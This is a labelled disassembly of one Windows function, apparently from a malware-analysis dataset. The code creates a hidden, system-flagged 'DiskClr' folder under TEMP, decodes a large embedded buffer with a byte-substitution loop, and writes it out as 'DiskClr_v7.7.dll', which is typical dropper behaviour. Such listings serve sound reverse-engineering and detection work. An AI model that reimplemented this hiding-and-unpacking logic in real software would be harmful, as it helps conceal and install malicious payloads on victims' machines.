Function at 0x404d60
Capabilities:
Create directory
Set file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4207c6
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x128
mov eax, dword [0x42c080]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov dword [ebp - 0x104], edi
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x120], edi
call fcn.00404a30
push str.TEMP
mov dword [ebp - 4], 0
call fcn.0040e5bc
mov edx, eax
mov dword [ebp - 0x24], 0
mov ecx, edx
mov dword [ebp - 0x20], 0
xorps xmm0, xmm0
add esp, 4
movups xmmword [ebp - 0x34], xmm0
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404df0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x34]
call fcn.00404680
mov esi, 0x7fffffff
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x24]
mov eax, esi
sub eax, ecx
cmp eax, 1
jb 0x4055dc
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 1
cmova eax, dword [ebp - 0x34]
push 0x428204
push ecx
push eax
push ecx
push dword [ebp - 0x104]
lea ecx, [ebp - 0x11c]
call fcn.00407100
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x108]
mov eax, edx
mov ecx, dword [ebp - 0x10c]
sub eax, ecx
push 7
push str.DiskClr
cmp eax, 7
jb 0x404e97
cmp edx, 0xf
lea esi, [ebp - 0x11c]
lea eax, [ecx + 7]
cmova esi, dword [ebp - 0x11c]
add esi, ecx
mov dword [ebp - 0x10c], eax
push esi
call fcn.00409710
mov byte [esi + 7], 0
lea eax, [ebp - 0x11c]
add esp, 0xc
mov esi, 0x7fffffff
jmp 0x404eb1
mov byte [ebp - 0x104], 0
lea ecx, [ebp - 0x11c]
push dword [ebp - 0x104]
push 7
call fcn.004048b0
movups xmm0, xmmword [eax]
lea ecx, [ebp - 0x34]
movups xmmword [ebp - 0x138], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x138]
push eax
movq qword [ebp - 0x128], xmm0
call fcn.00406970
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x404f22
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404f18
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4055e1
push ecx
push edx
call fcn.00408559
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x108]
cmp ecx, 0xf
jbe 0x404f60
mov edx, dword [ebp - 0x11c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404f56
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4055e1
push ecx
push edx
call fcn.00408559
add esp, 8
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0
cmova eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x404fa9
push str.TEMP
call fcn.0040e5bc
mov edx, eax
add esp, 4
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x104], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404f92
sub ecx, dword [ebp - 0x104]
push ecx
push edx
lea ecx, [ebp - 0x34]
call fcn.00406c90
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 0x16
cmova eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [ebp - 0x24]
sub esi, ecx
cmp esi, 1
jb 0x4055e6
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
push 1
cmova eax, dword [ebp - 0x34]
push 0x428204
push ecx
push eax
push ecx
push dword [ebp - 0x104]
lea ecx, [ebp - 0x11c]
call fcn.00407100
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x108]
mov eax, edx
mov ecx, dword [ebp - 0x10c]
sub eax, ecx
push 0x10
push str.DiskClr_v7.7.dll
cmp eax, 0x10
jb 0x405041
cmp edx, 0xf
lea esi, [ebp - 0x11c]
lea eax, [ecx + 0x10]
cmova esi, dword [ebp - 0x11c]
add esi, ecx
mov dword [ebp - 0x10c], eax
push esi
call fcn.00409710
add esp, 0xc
mov byte [esi + 0x10], 0
lea eax, [ebp - 0x11c]
jmp 0x40505b
mov byte [ebp - 0x104], 0
lea ecx, [ebp - 0x11c]
push dword [ebp - 0x104]
push 0x10
call fcn.004048b0
movups xmm0, xmmword [eax]
lea ecx, [ebp - 0x34]
movups xmmword [ebp - 0x138], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x138]
push eax
movq qword [ebp - 0x128], xmm0
call fcn.00406970
mov ecx, dword [ebp - 0x124]
cmp ecx, 0xf
jbe 0x4050cc
mov edx, dword [ebp - 0x138]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4050c2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4055eb
push ecx
push edx
call fcn.00408559
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x108]
cmp ecx, 0xf
jbe 0x40510a
mov edx, dword [ebp - 0x11c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405100
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4055eb
push ecx
push edx
call fcn.00408559
add esp, 8
push 0xb0
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00409ca0
cmp dword [ebp - 0x20], 0xf
lea eax, [ebp - 0x34]
lea ecx, [ebp - 0x100]
cmova eax, dword [ebp - 0x34]
push eax
call fcn.004069f0
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x104], eax
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xf4], 6
jne 0x405456
xor esi, esi
mov edx, 0x529966
nop dword [eax]
movzx eax, byte [edx + 1]
lea esi, [esi + 4]
mov cl, byte [esi + 0x42cb64]
movzx eax, byte [eax + 0x428230]
mov byte [esi + 0x42cb64], al
movzx eax, cl
movzx eax, byte [eax + 0x428230]
mov byte [edx + 1], al
movzx eax, byte [edx]
mov cl, byte [esi + 0x42cb65]
movzx eax, byte [eax + 0x428230]
mov byte [esi + 0x42cb65], al
movzx eax, cl
movzx eax, byte [eax + 0x428230]
mov byte [edx], al
movzx eax, byte [edx - 1]
mov cl, byte [esi + 0x42cb66]
movzx eax, byte [eax + 0x428230]
mov byte [esi + 0x42cb66], al
movzx eax, cl
movzx eax, byte [eax + 0x428230]
mov byte [edx - 1], al
movzx eax, byte [edx - 2]
mov cl, byte [esi + 0x42cb67]
movzx eax, byte [eax + 0x428230]
mov byte [esi + 0x42cb67], al
movzx eax, cl
movzx eax, byte [eax + 0x428230]
mov byte [edx - 2], al
sub edx, 4
cmp edx, 0x4ab266
jg 0x405180
xor esi, esi
cmp esi, 0xfce00
jae 0x40523e
mov dl, byte [esi + 0x42cb68]
lea ecx, [ebp - 0x100]
call fcn.00407200
inc esi
jmp 0x405222
xor esi, esi
mov edx, 0x529966
nop word [eax + eax]
movzx eax, byte [edx + 1]
lea esi, [esi + 4]
mov cl, byte [esi + 0x42cb64]
movzx eax, byte [eax + 0x428230]
mov byte [esi + 0x42cb64], al
movzx eax, cl
movzx eax, byte [eax + 0x428230]
mov byte [edx + 1], al
movzx eax, byte [edx]
mov cl, byte [esi + 0x42cb65]
movzx eax, byte [eax + 0x428230]
mov byte [esi + 0x42cb65], al
movzx eax, cl
movzx eax, byte [eax + 0x428230]
mov byte [edx], al
movzx eax, byte [edx - 1]
mov cl, byte [esi + 0x42cb66]
movzx eax, byte [eax + 0x428230]
mov byte [esi + 0x42cb66], al
movzx eax, cl
movzx eax, byte [eax + 0x428230]
mov byte [edx - 1], al
movzx eax, byte [edx - 2]
mov cl, byte [esi + 0x42cb67]
movzx eax, byte [eax + 0x428230]
mov byte [esi + 0x42cb67], al
movzx eax, cl
movzx eax, byte [eax + 0x428230]
mov byte [edx - 2], al
sub edx, 4
cmp edx, 0x4ab266
jg 0x405250
lea ecx, [ebp - 0xfc]
call fcn.00403cb0
test eax, eax
jne 0x405328
mov eax, dword [ebp - 0x100]
lea ecx, [ebp - 0x100]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00401d30
mov eax, dword [ebp - 0x100]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
movups xmm0, xmmword [ebp - 0x34]
mov dword [edi + 0x14], 0
mov byte [ebp - 0x34], 0
movups xmmword [edi], xmm0
movq xmm0, qword [ebp - 0x24]
movq qword [edi + 0x10], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x104], eax
lea ecx, [ebp - 0xfc]
call fcn.00403270
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x104], eax
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 6
push eax
mov dword [ebp - 0x98], vtable.std::ios_base.0
call fcn.00407bbe
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0xf
jbe 0x405409
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4053ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4055f0
push ecx
push edx
call fcn.00408559
add esp, 8
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
cmp ecx, 0xf
jbe 0x40544f
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405445
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4055f0
push ecx
push edx
call fcn.00408559
add esp, 8
mov eax, edi
jmp 0x4055be
xorps xmm0, xmm0
mov ecx, edi
push 0
movups xmmword [edi], xmm0
push 0x427f9c
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
call fcn.00404680
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x104], eax
lea ecx, [ebp - 0xfc]
call fcn.00403270
mov eax, dword [ebp - 0x100]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x104], eax
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 7
push eax
mov dword [ebp - 0x98], vtable.std::ios_base.0
call fcn.00407bbe
mov ecx, dword [ebp - 0x20]
add esp, 4
cmp ecx, 0xf
jbe 0x405522
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405518
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4055f0
push ecx
push edx
call fcn.00408559
add esp, 8
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
cmp ecx, 0xf
jbe 0x40544f
mov edx, dword [ebp - 0x4c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405445
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4055f0
jmp 0x405445
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00408516
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004013c0
call fcn.0040e3d9
call fcn.004013c0
call fcn.0040e3d9
call fcn.0040e3d9
int3